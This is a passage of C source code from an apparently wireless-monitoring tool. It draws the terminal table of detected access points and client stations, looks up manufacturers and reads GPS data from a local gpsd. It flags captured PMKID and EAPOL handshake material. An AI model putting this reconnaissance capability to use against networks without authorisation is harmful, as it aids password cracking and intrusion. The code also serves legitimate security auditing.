+	{
+		strncat(strbuf, lopt.message, (512 - strlen(strbuf) - 1));
+	}
+
+	strbuf[ws_col - 1] = '\0';
+
+	ALLEGE(strchr(strbuf, '\n') == NULL);
+	console_puts(strbuf);
+	CHECK_END_OF_SCREEN();
+
+	/* print some information about each detected AP */
+
+	erase_line(0);
+	move(CURSOR_DOWN, 1);
+	CHECK_END_OF_SCREEN();
+
+	if (lopt.show_ap)
+	{
+		strbuf[0] = 0;
+		strcat(strbuf, " BSSID              PWR ");
+
+		if (lopt.singlechan) strcat(strbuf, "RXQ ");
+
+		strcat(strbuf, " Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ");
+
+		if (lopt.show_uptime) strcat(strbuf, "        UPTIME ");
+
+		if (lopt.show_wps)
+		{
+			strcat(strbuf, "WPS   ");
+			if (ws_col > (columns_ap - 4))
+			{
+				memset(strbuf + strlen(strbuf),
+					   32,
+					   sizeof(strbuf) - strlen(strbuf) - 1);
+				snprintf(strbuf + columns_ap + lopt.maxsize_wps_seen - 5,
+						 8,
+						 "%s",
+						 "  ESSID");
+				if (lopt.show_manufacturer)
+				{
+					memset(strbuf + columns_ap + lopt.maxsize_wps_seen + 1,
+						   32,
+						   sizeof(strbuf) - columns_ap - lopt.maxsize_wps_seen
+							   - 1);
+					snprintf(strbuf + columns_ap + lopt.maxsize_wps_seen
+								 + lopt.maxsize_essid_seen
+								 - 4,
+							 15,
+							 "%s",
+							 "MANUFACTURER");
+				}
+			}
+		}
+		else
+		{
+			strcat(strbuf, "ESSID");
+
+			if (lopt.show_manufacturer && (ws_col > (columns_ap - 4)))
+			{
+				// write spaces (32).
+				memset(strbuf + columns_ap, 32, lopt.maxsize_essid_seen - 5);
+				snprintf(strbuf + columns_ap + lopt.maxsize_essid_seen - 7,
+						 15,
+						 "%s",
+						 "  MANUFACTURER");
+			}
+		}
+		strbuf[ws_col - 1] = '\0';
+		console_puts(strbuf);
+		CHECK_END_OF_SCREEN();
+
+		erase_line(0);
+		move(CURSOR_DOWN, 1);
+		CHECK_END_OF_SCREEN();
+
+		ap_cur = lopt.ap_end;
+
+		num_ap = 0;
+
+		while (ap_cur != NULL)
+		{
+			/* skip APs with only one packet, or those older than 2 min.
+		* always skip if bssid == broadcast */
+			if (IsAp2BeSkipped(ap_cur))
+			{
+				if (lopt.p_selected_ap == ap_cur)
+				{ //the selected AP is skipped (will not be printed), we have to go to the next printable AP
+					struct AP_info * ap_tmp;
+					if (selection_direction_up
+						== lopt.en_selection_direction) //UP arrow was last pressed
+					{
+						ap_tmp = ap_cur->next;
+						if (ap_tmp)
+						{
+							while ((0 != (lopt.p_selected_ap = ap_tmp))
+								   && IsAp2BeSkipped(ap_tmp))
+								ap_tmp = ap_tmp->next;
+						}
+						if (!ap_tmp) //we have reached the first element in the list, so go in another direction
+						{ //upon we have an AP that is not skipped
+							ap_tmp = ap_cur->prev;
+							if (ap_tmp)
+							{
+								while ((0 != (lopt.p_selected_ap = ap_tmp))
+									   && IsAp2BeSkipped(ap_tmp))
+									ap_tmp = ap_tmp->prev;
+							}
+						}
+					}
+					else if (
+						selection_direction_down
+						== lopt.en_selection_direction) //DOWN arrow was last pressed
+					{
+						ap_tmp = ap_cur->prev;
+						if (ap_tmp)
+						{
+							while ((0 != (lopt.p_selected_ap = ap_tmp))
+								   && IsAp2BeSkipped(ap_tmp))
+								ap_tmp = ap_tmp->prev;
+						}
+						if (!ap_tmp) //we have reached the last element in the list, so go in another direction
+						{ //upon we have an AP that is not skipped
+							ap_tmp = ap_cur->next;
+							if (ap_tmp)
+							{
+								while ((0 != (lopt.p_selected_ap = ap_tmp))
+									   && IsAp2BeSkipped(ap_tmp))
+									ap_tmp = ap_tmp->next;
+							}
+						}
+					}
+				}
+				ap_cur = ap_cur->prev;
+				continue;
+			}
+
+			num_ap++;
+
+			if (num_ap < lopt.start_print_ap)
+			{
+				ap_cur = ap_cur->prev;
+				continue;
+			}
+
+			nlines++;
+
+			if (nlines > (ws_row - 1)) return;
+
+			memset(strbuf, '\0', sizeof(strbuf));
+
+			snprintf(strbuf,
+					 sizeof(strbuf),
+					 " %02X:%02X:%02X:%02X:%02X:%02X",
+					 ap_cur->bssid[0],
+					 ap_cur->bssid[1],
+					 ap_cur->bssid[2],
+					 ap_cur->bssid[3],
+					 ap_cur->bssid[4],
+					 ap_cur->bssid[5]);
+
+			len = strlen(strbuf);
+
+			if (lopt.singlechan)
+			{
+				snprintf(strbuf + len,
+						 sizeof(strbuf) - len,
+						 "  %3d %3d %8lu %8lu %4d",
+						 ap_cur->avg_power,
+						 ap_cur->rx_quality,
+						 ap_cur->nb_bcn,
+						 ap_cur->nb_data,
+						 ap_cur->nb_dataps);
+			}
+			else
+			{
+				snprintf(strbuf + len,
+						 sizeof(strbuf) - len,
+						 "  %3d %8lu %8lu %4d",
+						 ap_cur->avg_power,
+						 ap_cur->nb_bcn,
+						 ap_cur->nb_data,
+						 ap_cur->nb_dataps);
+			}
+
+			len = strlen(strbuf);
+
+			if (ap_cur->standard[0])
+			{
+				// In case of 802.11n or 802.11ac, QoS is pretty much implied
+				// Short or long preamble is not that useful anymore.
+				snprintf(strbuf + len,
+						 sizeof(strbuf) - len,
+						 " %3d %4d   ",
+						 ap_cur->channel,
+						 ap_cur->max_speed);
+			}
+			else
+			{
+				snprintf(strbuf + len,
+						 sizeof(strbuf) - len,
+						 " %3d %4d%c%c ",
+						 ap_cur->channel,
+						 ap_cur->max_speed,
+						 (ap_cur->security & STD_QOS) ? 'e' : ' ',
+						 (ap_cur->preamble) ? '.' : ' ');
+			}
+
+			len = strlen(strbuf);
+
+			if ((ap_cur->security & STD_FIELD) == 0)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "    ");
+			else
+			{
+				if (ap_cur->security & STD_WPA2)
+				{
+					if (ap_cur->security & AUTH_SAE
+						|| ap_cur->security & AUTH_OWE)
+						snprintf(strbuf + len, sizeof(strbuf) - len, "WPA3");
+					else
+						snprintf(strbuf + len, sizeof(strbuf) - len, "WPA2");
+				}
+				else if (ap_cur->security & STD_WPA)
+					snprintf(strbuf + len, sizeof(strbuf) - len, "WPA ");
+				else if (ap_cur->security & STD_WEP)
+					snprintf(strbuf + len, sizeof(strbuf) - len, "WEP ");
+				else if (ap_cur->security & STD_OPN)
+					snprintf(strbuf + len, sizeof(strbuf) - len, "OPN ");
+			}
+
+			strncat(strbuf, " ", sizeof(strbuf) - strlen(strbuf) - 1);
+
+			len = strlen(strbuf);
+
+			if ((ap_cur->security & ENC_FIELD) == 0)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "       ");
+			else
+			{
+				if (ap_cur->security & ENC_CCMP)
+					snprintf(strbuf + len, sizeof(strbuf) - len, "CCMP   ");
+				else if (ap_cur->security & ENC_WRAP)
+					snprintf(strbuf + len, sizeof(strbuf) - len, "WRAP   ");
+				else if (ap_cur->security & ENC_TKIP)
+					snprintf(strbuf + len, sizeof(strbuf) - len, "TKIP   ");
+				else if (ap_cur->security & ENC_WEP104)
+					snprintf(strbuf + len, sizeof(strbuf) - len, "WEP104 ");
+				else if (ap_cur->security & ENC_WEP40)
+					snprintf(strbuf + len, sizeof(strbuf) - len, "WEP40  ");
+				else if (ap_cur->security & ENC_WEP)
+					snprintf(strbuf + len, sizeof(strbuf) - len, "WEP    ");
+			}
+
+			len = strlen(strbuf);
+
+			if ((ap_cur->security & AUTH_FIELD) == 0)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "    ");
+			else
+			{
+				if (ap_cur->security & AUTH_SAE)
+					snprintf(strbuf + len, sizeof(strbuf) - len, "SAE ");
+				else if (ap_cur->security & AUTH_MGT)
+					snprintf(strbuf + len, sizeof(strbuf) - len, "MGT ");
+				else if (ap_cur->security & AUTH_CMAC)
+					snprintf(strbuf + len, sizeof(strbuf) - len, "CMAC");
+				else if (ap_cur->security & AUTH_PSK)
+				{
+					if (ap_cur->security & STD_WEP)
+						snprintf(strbuf + len, sizeof(strbuf) - len, "SKA ");
+					else
+						snprintf(strbuf + len, sizeof(strbuf) - len, "PSK ");
+				}
+				else if (ap_cur->security & AUTH_OWE)
+					snprintf(strbuf + len, sizeof(strbuf) - len, "OWE ");
+				else if (ap_cur->security & AUTH_OPN)
+					snprintf(strbuf + len, sizeof(strbuf) - len, "OPN ");
+			}
+
+			len = strlen(strbuf);
+
+			if (lopt.show_uptime)
+			{
+				snprintf(strbuf + len,
+						 sizeof(strbuf) - len,
+						 " %14s",
+						 parse_timestamp(ap_cur->timestamp));
+				len = strlen(strbuf);
+			}
+
+			if (lopt.p_selected_ap && (lopt.p_selected_ap == ap_cur))
+			{
+				if (lopt.mark_cur_ap)
+				{
+					if (ap_cur->marked == 0)
+					{
+						ap_cur->marked = 1;
+					}
+					else
+					{
+						ap_cur->marked_color++;
+						if (ap_cur->marked_color > TEXT_MAX_COLOR)
+						{
+							ap_cur->marked_color = 1;
+							ap_cur->marked = 0;
+						}
+					}
+					lopt.mark_cur_ap = 0;
+				}
+				textstyle(TEXT_REVERSE);
+				memcpy(lopt.selected_bssid, ap_cur->bssid, 6);
+			}
+
+			if (ap_cur->marked)
+			{
+				textcolor_fg(ap_cur->marked_color);
+			}
+
+			memset(strbuf + len, 32, sizeof(strbuf) - len - 1);
+
+			if (ws_col > (columns_ap - 4))
+			{
+				if (lopt.show_wps)
+				{
+					ssize_t wps_len = len;
+
+					if (ap_cur->wps.state != 0xFF)
+					{
+						if (ap_cur->wps.ap_setup_locked) // AP setup locked
+							snprintf(
+								strbuf + len, sizeof(strbuf) - len, "Locked");
+						else
+						{
+							snprintf(strbuf + len,
+									 sizeof(strbuf) - len,
+									 " %u.%d",
+									 ap_cur->wps.version >> 4,
+									 ap_cur->wps.version & 0xF); // Version
+							len = strlen(strbuf);
+							if (ap_cur->wps.meth) // WPS Config Methods
+							{
+								char tbuf[64];
+								memset(tbuf, '\0', sizeof(tbuf));
+								int sep = 0;
+#define T(bit, name)                                                           \
+	do                                                                         \
+	{                                                                          \
+		if (ap_cur->wps.meth & (1u << (bit)))                                  \
+		{                                                                      \
+			if (sep) strcat(tbuf, ",");                                        \
+			sep = 1;                                                           \
+			strncat(tbuf, (name), (64 - strlen(tbuf) - 1));                    \
+		}                                                                      \
+	} while (0)
+								T(0u, "USB"); // USB method
+								T(1u, "ETHER"); // Ethernet
+								T(2u, "LAB"); // Label
+								T(3u, "DISP"); // Display
+								T(4u, "EXTNFC"); // Ext. NFC Token
+								T(5u, "INTNFC"); // Int. NFC Token
+								T(6u, "NFCINTF"); // NFC Interface
+								T(7u, "PBC"); // Push Button
+								T(8u, "KPAD"); // Keypad
+								snprintf(strbuf + len,
+										 sizeof(strbuf) - len,
+										 " %s",
+										 tbuf);
+#undef T
+							}
+						}
+					}
+					else
+					{
+						snprintf(strbuf + len, sizeof(strbuf) - len, " ");
+					}
+					len = strlen(strbuf);
+
+					if ((ssize_t) lopt.maxsize_wps_seen <= len - wps_len)
+						lopt.maxsize_wps_seen = (u_int) MAX(len - wps_len, 6);
+					else
+					{
+						// pad output
+						memset(strbuf + len, 32, sizeof(strbuf) - len - 1);
+						len += lopt.maxsize_wps_seen - (len - wps_len);
+						strbuf[len] = '\0';
+					}
+				}
+
+				ssize_t essid_len = len;
+
+				if (ap_cur->essid[0] != 0x00)
+				{
+					if (lopt.show_wps)
+						snprintf(strbuf + len,
+								 sizeof(strbuf) - len - 1,
+								 "  %s",
+								 ap_cur->essid);
+					else
+						snprintf(strbuf + len,
+								 sizeof(strbuf) - len,
+								 " %s",
+								 ap_cur->essid);
+				}
+				else
+				{
+					if (lopt.show_wps)
+						snprintf(strbuf + len,
+								 sizeof(strbuf) - len - 1,
+								 "  <length:%3d>%s",
+								 ap_cur->ssid_length,
+								 "\x00");
+					else
+						snprintf(strbuf + len,
+								 sizeof(strbuf) - len,
+								 " <length:%3d>%s",
+								 ap_cur->ssid_length,
+								 "\x00");
+				}
+				len = strlen(strbuf);
+
+				if (lopt.show_manufacturer)
+				{
+					if (lopt.maxsize_essid_seen <= len - essid_len)
+						lopt.maxsize_essid_seen
+							= (u_int) MAX(len - essid_len, 5);
+					else
+					{
+						// pad output
+						memset(strbuf + len, 32, sizeof(strbuf) - len - 1);
+						len += lopt.maxsize_essid_seen - (len - essid_len);
+						strbuf[len] = '\0';
+					}
+
+					if (ap_cur->manuf == NULL)
+						ap_cur->manuf = get_manufacturer(ap_cur->bssid[0],
+														 ap_cur->bssid[1],
+														 ap_cur->bssid[2]);
+
+					snprintf(strbuf + len,
+							 sizeof(strbuf) - len - 1,
+							 " %s",
+							 ap_cur->manuf);
+				}
+			}
+
+			len = strlen(strbuf);
+
+			// write spaces (32) until the end of column
+			memset(strbuf + len, 32, (size_t) ws_col - 1);
+
+			strbuf[ws_col - 1] = '\0';
+			console_puts(strbuf);
+
+			if ((lopt.p_selected_ap && (lopt.p_selected_ap == ap_cur))
+				|| (ap_cur->marked))
+			{
+				textstyle(TEXT_RESET);
+			}
+
+			ap_cur = ap_cur->prev;
+		}
+
+		/* print some information about each detected station */
+
+		erase_line(0);
+		move(CURSOR_DOWN, 1);
+		CHECK_END_OF_SCREEN();
+	}
+
+	if (lopt.show_sta)
+	{
+		strcpy(strbuf,
+			   " BSSID              STATION "
+			   "           PWR   Rate    Lost    Frames  Notes  Probes");
+		strbuf[ws_col - 1] = '\0';
+		console_puts(strbuf);
+		CHECK_END_OF_SCREEN();
+
+		erase_line(0);
+		move(CURSOR_DOWN, 1);
+		CHECK_END_OF_SCREEN();
+
+		ap_cur = lopt.ap_end;
+
+		num_sta = 0;
+
+		while (ap_cur != NULL)
+		{
+			if (ap_cur->nb_pkt < 2 || time(NULL) - ap_cur->tlast > lopt.berlin)
+			{
+				ap_cur = ap_cur->prev;
+				continue;
+			}
+
+			if (ap_cur->security != 0 && lopt.f_encrypt != 0
+				&& ((ap_cur->security & lopt.f_encrypt) == 0))
+			{
+				ap_cur = ap_cur->prev;
+				continue;
+			}
+
+			// Don't filter unassociated clients by ESSID
+			if (memcmp(ap_cur->bssid, BROADCAST, 6) != 0
+				&& is_filtered_essid(ap_cur->essid))
+			{
+				ap_cur = ap_cur->prev;
+				continue;
+			}
+
+			if (nlines >= (ws_row - 1)) return;
+
+			st_cur = lopt.st_end;
+
+			if (lopt.p_selected_ap
+				&& (memcmp(lopt.selected_bssid, ap_cur->bssid, 6) == 0))
+			{
+				textstyle(TEXT_REVERSE);
+			}
+
+			if (ap_cur->marked)
+			{
+				textcolor_fg(ap_cur->marked_color);
+			}
+
+			while (st_cur != NULL)
+			{
+				if (st_cur->base != ap_cur
+					|| time(NULL) - st_cur->tlast > lopt.berlin)
+				{
+					st_cur = st_cur->prev;
+					continue;
+				}
+
+				if (!memcmp(ap_cur->bssid, BROADCAST, 6) && lopt.asso_client)
+				{
+					st_cur = st_cur->prev;
+					continue;
+				}
+
+				num_sta++;
+
+				if (lopt.start_print_sta > num_sta) continue;
+
+				nlines++;
+
+				if (nlines >= (ws_row - 1)) return;
+
+				if (!memcmp(ap_cur->bssid, BROADCAST, 6))
+					printf(" (not associated) ");
+				else
+					printf(" %02X:%02X:%02X:%02X:%02X:%02X",
+						   ap_cur->bssid[0],
+						   ap_cur->bssid[1],
+						   ap_cur->bssid[2],
+						   ap_cur->bssid[3],
+						   ap_cur->bssid[4],
+						   ap_cur->bssid[5]);
+
+				printf("  %02X:%02X:%02X:%02X:%02X:%02X",
+					   st_cur->stmac[0],
+					   st_cur->stmac[1],
+					   st_cur->stmac[2],
+					   st_cur->stmac[3],
+					   st_cur->stmac[4],
+					   st_cur->stmac[5]);
+
+				printf("  %3d ", st_cur->power);
+				printf("  %2d", st_cur->rate_to / 1000000);
+				printf("%c", (st_cur->qos_fr_ds) ? 'e' : ' ');
+				printf("-%2d", st_cur->rate_from / 1000000);
+				printf("%c", (st_cur->qos_to_ds) ? 'e' : ' ');
+				printf("  %4d", st_cur->missed);
+				printf(" %8lu", st_cur->nb_pkt);
+				printf("  %-5s",
+					   (st_cur->wpa.pmkid[0] != 0)
+						   ? "PMKID"
+						   : (st_cur->wpa.state == 7 ? "EAPOL" : ""));
+
+				if (ws_col > (columns_sta - 6))
+				{
+					memset(ssid_list, 0, sizeof(ssid_list));
+
+					for (i = 0, n = 0; i < NB_PRB; i++)
+					{
+						if (st_cur->probes[i][0] == '\0') continue;
+
+						snprintf(ssid_list + n,
+								 sizeof(ssid_list) - n - 1,
+								 "%c%s",
+								 (i > 0) ? ',' : ' ',
+								 st_cur->probes[i]);
+
+						n += (1 + strlen(st_cur->probes[i]));
+
+						if (n >= (int) sizeof(ssid_list)) break;
+					}
+
+					memset(strbuf, 0, sizeof(strbuf));
+					snprintf(strbuf, sizeof(strbuf) - 1, "%-256s", ssid_list)
+							< 0
+						? abort()
+						: (void) 0;
+					strbuf[MAX(ws_col - 75, 0)] = '\0';
+					printf(" %s", strbuf);
+				}
+
+				erase_line(0);
+				putchar('\n');
+
+				st_cur = st_cur->prev;
+			}
+
+			if ((lopt.p_selected_ap
+				 && (memcmp(lopt.selected_bssid, ap_cur->bssid, 6) == 0))
+				|| (ap_cur->marked))
+			{
+				textstyle(TEXT_RESET);
+			}
+
+			ap_cur = ap_cur->prev;
+		}
+	}
+
+	if (lopt.show_ack)
+	{
+		/* print some information about each unknown station */
+
+		erase_line(0);
+		move(CURSOR_DOWN, 1);
+		CHECK_END_OF_SCREEN();
+
+		memcpy(strbuf,
+			   " MAC       "
+			   "          CH PWR    ACK ACK/s    CTS RTS_RX RTS_TX  OTHER",
+			   (size_t) columns_na);
+		strbuf[ws_col - 1] = '\0';
+		console_puts(strbuf);
+		CHECK_END_OF_SCREEN();
+
+		memset(strbuf, ' ', (size_t) ws_col - 1);
+		strbuf[ws_col - 1] = '\0';
+		console_puts(strbuf);
+		CHECK_END_OF_SCREEN();
+
+		na_cur = lopt.na_1st;
+
+		while (na_cur != NULL)
+		{
+			if (time(NULL) - na_cur->tlast > 120)
+			{
+				na_cur = na_cur->next;
+				continue;
+			}
+
+			nlines++;
+
+			if (nlines >= (ws_row - 1)) return;
+
+			printf(" %02X:%02X:%02X:%02X:%02X:%02X",
+				   na_cur->namac[0],
+				   na_cur->namac[1],
+				   na_cur->namac[2],
+				   na_cur->namac[3],
+				   na_cur->namac[4],
+				   na_cur->namac[5]);
+
+			printf("  %3d", na_cur->channel);
+			printf(" %3d", na_cur->power);
+			printf(" %6d", na_cur->ack);
+			printf("  %4d", na_cur->ackps);
+			printf(" %6d", na_cur->cts);
+			printf(" %6d", na_cur->rts_r);
+			printf(" %6d", na_cur->rts_t);
+			printf(" %6d", na_cur->other);
+
+			erase_line(0);
+			putchar('\n');
+
+			na_cur = na_cur->next;
+		}
+	}
+
+	erase_display(0);
+}
+
+#define OUI_STR_SIZE 8
+#define MANUF_SIZE 128
+static char *
+get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2)
+{
+	char oui[OUI_STR_SIZE + 1];
+	char *manuf, *rmanuf;
+	char * manuf_str;
+	struct oui * ptr;
+	FILE * fp;
+	char buffer[BUFSIZ];
+	char temp[OUI_STR_SIZE + 1];
+	unsigned char a[2];
+	unsigned char b[2];
+	unsigned char c[2];
+	int found = 0;
+
+	if ((manuf = (char *) calloc(1, MANUF_SIZE * sizeof(char))) == NULL)
+	{
+		perror("calloc failed");
+		return (NULL);
+	}
+
+	snprintf(oui, sizeof(oui), "%02X:%02X:%02X", mac0, mac1, mac2);
+
+	if (lopt.manufList != NULL)
+	{
+		// Search in the list
+		ptr = lopt.manufList;
+		while (ptr != NULL)
+		{
+			found = !strncasecmp(ptr->id, oui, OUI_STR_SIZE);
+			if (found)
+			{
+				memcpy(manuf, ptr->manuf, MANUF_SIZE);
+				break;
+			}
+			ptr = ptr->next;
+		}
+	}
+	else
+	{
+		// If the file exist, then query it each time we need to get a
+		// manufacturer.
+		fp = open_oui_file();
+
+		if (fp != NULL)
+		{
+
+			memset(buffer, 0x00, sizeof(buffer));
+			while (fgets(buffer, sizeof(buffer), fp) != NULL)
+			{
+				if (strstr(buffer, "(hex)") == NULL)
+				{
+					continue;
+				}
+
+				memset(a, 0x00, sizeof(a));
+				memset(b, 0x00, sizeof(b));
+				memset(c, 0x00, sizeof(c));
+				if (sscanf(buffer,
+						   "%2c-%2c-%2c",
+						   (char *) a,
+						   (char *) b,
+						   (char *) c)
+					== 3)
+				{
+					snprintf(temp,
+							 sizeof(temp),
+							 "%c%c:%c%c:%c%c",
+							 a[0],
+							 a[1],
+							 b[0],
+							 b[1],
+							 c[0],
+							 c[1]);
+					found = !memcmp(temp, oui, strlen(oui));
+					if (found)
+					{
+						manuf_str = get_manufacturer_from_string(buffer);
+						if (manuf_str != NULL)
+						{
+							snprintf(manuf, MANUF_SIZE, "%s", manuf_str);
+							free(manuf_str);
+						}
+
+						break;
+					}
+				}
+				memset(buffer, 0x00, sizeof(buffer));
+			}
+
+			fclose(fp);
+		}
+	}
+
+	// Not found, use "Unknown".
+	if (!found || *manuf == '\0')
+	{
+		memcpy(manuf, "Unknown", 7);
+		manuf[7] = '\0';
+	}
+
+	// Going in a smaller buffer
+	rmanuf = (char *) realloc(manuf, (strlen(manuf) + 1) * sizeof(char));
+	ALLEGE(rmanuf != NULL);
+
+	return (rmanuf);
+}
+#undef OUI_STR_SIZE
+#undef MANUF_SIZE
+
+/* Read at least one full line from the network.
+ *
+ * Returns the amount of data in the buffer on success, 0 on connection
+ * closed, or a negative value on error.
+ *
+ * If the return value is >0, the buffer contains at least one newline
+ * character.  If the return value is <= 0, the contents of the buffer
+ * are undefined.
+ */
+static inline ssize_t
+read_line(int sock, char * buffer, size_t pos, size_t size)
+{
+	ssize_t status = 1;
+	if (size < 1 || pos >= size || buffer == NULL || sock < 0)
+	{
+		return (-1);
+	}
+
+	while (strchr_n(buffer, 0x0A, pos) == NULL && status > 0 && pos < size)
+	{
+		status = recv(sock, buffer + pos, size - pos, 0);
+		if (status > 0)
+		{
+			pos += status;
+		}
+	}
+
+	if (status <= 0)
+	{
+		return (status);
+	}
+	else if (pos == size && strchr_n(buffer, 0x0A, pos) == NULL)
+	{
+		return (-1);
+	}
+
+	return (pos);
+}
+
+/* Extract a name:value pair from a null-terminated line of JSON.
+ *
+ * Returns 1 if the name was found, or 0 otherwise.
+ *
+ * The string in "value" is null-terminated if the name was found.  If
+ * the name was not found, the contents of "value" are undefined.
+ */
+static int
+json_get_value_for_name(const char * buffer, const char * name, char * value)
+{
+	char * to_find;
+	char * cursor;
+	size_t to_find_len;
+	char * vcursor = value;
+	int ret = 0;
+
+	if (buffer == NULL || strlen(buffer) == 0 || name == NULL
+		|| strlen(name) == 0
+		|| value == NULL)
+	{
+		return (0);
+	}
+
+	to_find_len = strlen(name) + 3;
+	to_find = (char *) malloc(to_find_len);
+	ALLEGE(to_find != NULL);
+	snprintf(to_find, to_find_len, "\"%s\"", name);
+	cursor = strstr(buffer, to_find);
+	free(to_find);
+	if (cursor != NULL)
+	{
+		cursor += to_find_len - 1;
+		while (*cursor != ':' && *cursor != '\0')
+		{
+			cursor++;
+		}
+		if (*cursor != '\0')
+		{
+			cursor++;
+			while (isspace((int) (*cursor)) && *cursor != '\0')
+			{
+				cursor++;
+			}
+		}
+		if ('\0' == *cursor)
+		{
+			return (0);
+		}
+
+		if ('"' == *cursor)
+		{
+			/* Quoted string */
+			cursor++;
+			while (*cursor != '"' && *cursor != '\0')
+			{
+				if ('\\' == *cursor && '"' == *(cursor + 1))
+				{
+					/* Escaped quote */
+					*vcursor = '"';
+					cursor++;
+				}
+				else
+				{
+					*vcursor = *cursor;
+				}
+				vcursor++;
+				cursor++;
+			}
+			*vcursor = '\0';
+			ret = 1;
+		}
+		else if (strncmp(cursor, "true", 4) == 0)
+		{
+			/* Boolean */
+			strcpy(value, "true");
+			ret = 1;
+		}
+		else if (strncmp(cursor, "false", 5) == 0)
+		{
+			/* Boolean */
+			strcpy(value, "false");
+			ret = 1;
+		}
+		else if ('{' == *cursor || '[' == *cursor)
+		{
+			/* Object or array.  Too hard to handle and not needed for
+			 * getting coords from GPSD, so pretend we didn't see anything.
+			 */
+			ret = 0;
+		}
+		else
+		{
+			/* Number, supposedly.  Copy as-is. */
+			while (*cursor != ',' && *cursor != '}'
+				   && !isspace((int) (*cursor)))
+			{
+				*vcursor = *cursor;
+				cursor++;
+				vcursor++;
+			}
+			*vcursor = '\0';
+			ret = 1;
+		}
+	}
+
+	return (ret);
+}
+
+static void * gps_tracker_thread(void * arg)
+{
+	int gpsd_sock;
+	char line[1537], buffer[1537], data[1537];
+	char * temp;
+	struct sockaddr_in gpsd_addr;
+	int is_json;
+	ssize_t pos;
+	int gpsd_tried_connection = 0;
+	fd_set read_fd;
+	struct timeval timeout;
+
+	(void) arg;
+
+	int * return_success = malloc(sizeof(int));
+	ALLEGE(return_success != NULL);
+	int * return_error = malloc(sizeof(int));
+	ALLEGE(return_error != NULL);
+
+	*return_success = 0;
+	*return_error = -1;
+
+	// Incase we GPSd goes down or we lose connection or a fix, we keep trying to connect inside the while loop
+	while (lopt.do_exit == 0)
+	{
+		// If our socket connection to GPSD has been attempted and failed wait before trying again - used to prevent locking the CPU on socket retries
+		if (gpsd_tried_connection)
+		{
+			sleep(2);
+		}
+		gpsd_tried_connection = 1;
+
+		time_t updateTime = time(NULL);
+		memset(line, 0, 1537);
+		memset(buffer, 0, 1537);
+		memset(data, 0, 1537);
+
+		/* attempt to connect to localhost, port 2947 */
+		pos = 0;
+		gpsd_sock = socket(AF_INET, SOCK_STREAM, 0);
+		if (gpsd_sock < 0) continue;
+
+		memset(&gpsd_addr, 0, sizeof(struct sockaddr_in));
+		gpsd_addr.sin_family = AF_INET;
+		gpsd_addr.sin_port = htons(2947);
+		gpsd_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
+		if (connect(
+				gpsd_sock, (struct sockaddr *) &gpsd_addr, sizeof(gpsd_addr))
+			< 0)
+			continue;
+
+		// Check if it's GPSd < 2.92 or the new one
+		// 2.92+ immediately sends version information
+		// < 2.92 requires to send PVTAD command
+		FD_ZERO(&read_fd);
+		FD_SET(gpsd_sock, &read_fd); // NOLINT(hicpp-signed-bitwise)
+		timeout.tv_sec = 1;
+		timeout.tv_usec = 0;
+		is_json = select(gpsd_sock + 1, &read_fd, NULL, NULL, &timeout);
+
+		if (is_json > 0)
+		{
+			/* Probably JSON.  Read the first line and verify it's a version of the
+			* protocol we speak. */
+			if ((pos = read_line(gpsd_sock, buffer, 0, sizeof(buffer))) <= 0)
+				continue;
+
+			pos = get_line_from_buffer(buffer, (size_t) pos, line);
+			is_json = (json_get_value_for_name(line, "class", data)
+					   && strncmp(data, "VERSION", 7) == 0);
+
+			if (is_json)
+			{
+				/* Verify it's a version of the protocol we speak */
+				if (json_get_value_for_name(line, "proto_major", data)
+					&& data[0] != '3')
+				{
+					/* It's an unknown version of the protocol.  Bail out. */
+					continue;
+				}
+
+				// Send ?WATCH={"json":true};
+				memset(line, 0, sizeof(line));
+				strcpy(line, "?WATCH={\"json\":true};\n");
+				if (send(gpsd_sock, line, 22, 0) != 22) continue;
+			}
+		}
+		else if (is_json < 0)
+		{
+			/* An error occurred while we were waiting for data */
+			continue;
+		}
+		/* Else select() returned zero (timeout expired) and we assume we're
+		* connected to an old-style gpsd. */
+
+		// Initialisation of all GPS data to 0
+		memset(lopt.gps_loc, 0, sizeof(lopt.gps_loc));
+
+		/* Inside loop for reading the GPS coordinates/data */
+		while (lopt.do_exit == 0)
+		{
+			gpsd_tried_connection = 0; // reset socket connection test
+			usleep(500000);
+
+			// Reset all GPS data before each read so that if we lose GPS signal
+			// or drop to a 2D fix, the loss of data is accurately reflected
+			// gps_loc data structure:
+			// 0 = lat, 1 = lon, 2 = speed, 3 = heading, 4 = alt, 5 = lat error, 6 = lon error, 7 = vertical error
+
+			// Check if we need to reset/invalidate our GPS data if the data has become 'stale' based on a timeout/interval
+			if (time(NULL) - updateTime > lopt.gps_valid_interval)
+			{
+				memset(lopt.gps_loc, 0, sizeof(lopt.gps_loc));
+			}
+
+			// Record ALL GPS data from GPSD
+			if (opt.record_data)
+			{
+				fputs(line, opt.f_gps);
+			}
+
+			/* read position, speed, heading, altitude */
+			if (is_json)
+			{
+				// Format definition: http://catb.org/gpsd/gpsd_json.html
+
+				if ((pos = read_line(
+						 gpsd_sock, buffer, (size_t) pos, sizeof(buffer)))
+					<= 0)
+					break;
+				pos = get_line_from_buffer(buffer, (size_t) pos, line);
+
+				// See if we got a TPV report - aka actual GPS data if not send default 0 values
+				if (!json_get_value_for_name(line, "class", data)
+					|| strncmp(data, "TPV", 3) != 0)
+				{
+					/* Not a TPV report.  Get another line. */
+
+					continue;
+				}
+
+				/* See what sort of GPS fix we got.  Possibilities are:
+				* 0: No data
+				* 1: No fix
+				* 2: Lat/Lon, but no alt
+				* 3: Lat/Lon/Alt
+				* Either 2 or 3 may also have speed and heading data.
+				*/
+				if (!json_get_value_for_name(line, "mode", data)
+					|| (strtol(data, NULL, 10)) < 2)
+				{
+					/* No GPS fix, so there are no coordinates to extract. */
+					continue;
+				}
+
+				/* Extract the available data from the TPV report.  If we're
+				* in mode 2, latitude and longitude are mandatory, altitude
+				* is set to 0, and speed and heading are optional.
+				* In mode 3, latitude, longitude, and altitude are mandatory,
+				* while speed and heading are optional.
+				* If we can't get a mandatory value, the line is discarded
+				* as fragmentary or malformed.  If we can't get an optional
+				* value, we default it to 0.
+				*/
+
+				// GPS Time
+				if (json_get_value_for_name(line, "time", data))
+				{
+					if (!(strptime(data, "%Y-%m-%dT%H:%M:%S", &lopt.gps_time)
+						  == NULL))
+					{
+						updateTime = time(NULL);
+					}
+				}
+
+				// Latitude
